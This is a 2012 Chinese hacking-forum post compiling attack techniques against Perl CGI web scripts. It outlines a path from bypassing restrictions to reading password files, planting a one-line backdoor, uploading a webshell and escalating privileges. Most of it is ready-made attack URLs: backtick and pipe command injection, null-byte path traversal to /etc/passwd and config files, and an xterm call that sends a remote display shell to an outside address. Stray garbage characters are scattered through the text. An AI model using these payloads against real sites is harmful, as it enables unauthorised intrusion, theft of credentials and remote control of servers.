找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2884|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
7 k0 a- r# O. m' ?cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  . j3 j  o. a3 l, |7 d* g
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  2 f$ I( }" @( S: N
注“  
: n- [+ M, v) Bperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
4 x* A' h" ~/ Z: j以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  2 {7 M0 x  _2 p$ F$ _
/ R" R% T0 k6 Z, c
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
, Q! B; C( q7 i# I: D- jhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
8 O1 ?; n6 b& P$ Whttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  2 E; Y! r1 ~1 a/ e3 P. }6 g
http://target.com/cgi-bin/home/news/sub.pl?`id`  
8 k0 M4 y- R9 Q( r4 i$ Mhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  7 `! N0 e' a( u! `
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
6 c2 b9 h. t/ h! m4 x4 y4 q4 f* U* N# e5 N8 D; e& A; ]' p, J0 W
http://target.com/test.pl;ls|  
2 L- B" j& Y: `7 h  rhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  : E2 B' F& n1 C8 }) _, l' j
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 j$ ~0 t: E! h) ^2 x
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ! }! I. }" f6 j( ^( Y/ Y0 z
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ' z* p( p3 A/ X7 \
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  $ x, K9 ?0 m6 ^) Z
6 ?  A, r3 D) J) N3 [
http://target.com/test.pl?&........ /../../etc/passwd  
2 t8 ^! u8 o5 J! P; t  h
, v" ]6 M# A- [: J: x, E1 J9 h+ _http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  8 p" J; h% j+ J2 W! }1 s
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
! y8 y4 C' ^) h: T3 |% ^' d% S# Vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
* \* P: V( [+ {# p$ I$ Y# A% A6 Y, b4 H1 F6 Z6 Y5 o; ~( m+ O
http://www.target.org/show.php?f ... /include/config.php 查看php代码    w6 Y! G+ T5 G+ k* _
http://www.target.org/show.php?f ... ng/admin/global.php  4 \; o6 F7 u4 L% X( x5 x

/ q* a! d8 J0 {( I8 gemm和ps的一句话
; l9 G' Y& B& c! [0 A8 X. O4 ^. j( W, ]
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  . q  W/ G' `* [2 }# {5 e8 d

- X4 S! Q, k- o6 l' `8 ]' ~>bbb%20|  
5 n  C( C; K# O% Q2 F0 f2 [
/ K4 m) |: e7 j7 g5 Hhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  " b# t8 h5 J2 v

' }; ~7 Y3 Z% Q& K# mhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
& }' M6 X( K. ~http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ' H4 T9 q+ W+ G% J$ i

+ }) ]$ e4 n% o; b# C5 r相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
- n6 x! f6 b' c) r9 ?4 Qhttp://target.com/index.html#cmd.exe  6 m$ Z' h7 d, U: [
http://target.com/index.html?dummyparam=xp_cmdshell  
8 D0 S5 I# S3 q/ O5 Ilynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
7 f' F$ l2 c) [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表